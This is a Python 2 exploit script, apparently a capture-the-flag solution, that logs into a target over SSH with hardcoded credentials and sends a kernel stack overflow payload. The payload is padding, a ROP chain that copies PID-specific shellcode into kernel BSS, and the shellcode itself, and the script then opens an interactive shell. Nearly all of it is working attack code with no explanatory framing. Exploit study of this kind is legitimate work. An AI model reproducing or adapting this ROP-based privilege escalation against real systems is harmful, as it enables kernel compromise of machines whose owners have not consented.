#!/usr/bin/python2

import os
import pxssh
import struct
import ctypes
import hexdump

TODO = 0x4242424242424242
JUNK = 0x4142434445464748

HOST = '127.0.0.1'
#HOST = '10.13.37.131'

def rop(chain):
    return ''.join(struct.pack('<Q', gadget) for gadget in chain)

print '[+] Connecting to server...'

s = pxssh.pxssh(timeout=None, maxread=400000)
s.login(HOST, 'sh1tty', 'sh1tty', login_timeout=20)
s.sendline('')
s.prompt()

# Go to SMART MODE

print '[+] Going to SMART mode...'

s.send("G1v3m3p4ssw0rd")
s.send("z")
s.sendline("")

# Export a var to check we haven't rebooted...

s.sendline("export A=`id`")
s.prompt()

# Get shell's pid

print "[+] Getting our shell task's pid..."
s.prompt()
s.sendline("echo $$")
s.prompt()

task_pid = int(s.before.replace("\n", "").replace("\r", "").replace("$$", "").replace("echo ", ""))
print "[+] Obtained current task (shell) pid: %d" % task_pid

# Overflowz

print '[+] Typing a password...'
s.sendline('stty -echo')
s.sendline("\n")

print '[+] Generating shellcode...'

os.system("as --64 --defsym pid=%d -o shellcode.o shellcode.S" % task_pid)
os.system("objcopy -O binary -j .text shellcode.o shellcode")

shellcode = open("shellcode", "rb").read()

print '[+] Sending payload...'

payload = "\xcc" * 204
payload += "BBBBCCCC"

BSS_ADDR = 0xffffffffa0000F88

ropchain = [
    0xffffffff8100113d, # pop rdi ; pop rbp ; ret
    BSS_ADDR,
    JUNK,

    0xffffffff810c779b, # push rsp ; and al, 0x08 ; pop rbx ; pop r12 ; pop rbp ; ret
    JUNK,
    JUNK,

    0xffffffff8114c3c0, # mov rdx, rbx ; mov rax, rdx ; pop rbx ; pop r12 ; pop rbp ; ret
    JUNK,
    JUNK,
    JUNK,

    0xffffffff810dd475, # pop rsi ; cmp dh, dh ; ret
    112,

    0xffffffff8112e46d, # add rsi, rdx ; add rax, rsi ; ret

    0xffffffff810424a3, # pop rcx ; ret
    15,
    0xffffffff81002bb3, # rep movsq  ; pop rbp ; ret
    JUNK,
    BSS_ADDR
]

payload += rop(ropchain)
payload += shellcode

s.sendline(payload + "\n\n")

#s.sendline("stty echo") <- I type "stty echo" in the shell myself instead

print '[+] Interact...'
s.interact()
print '[+] Game over.'
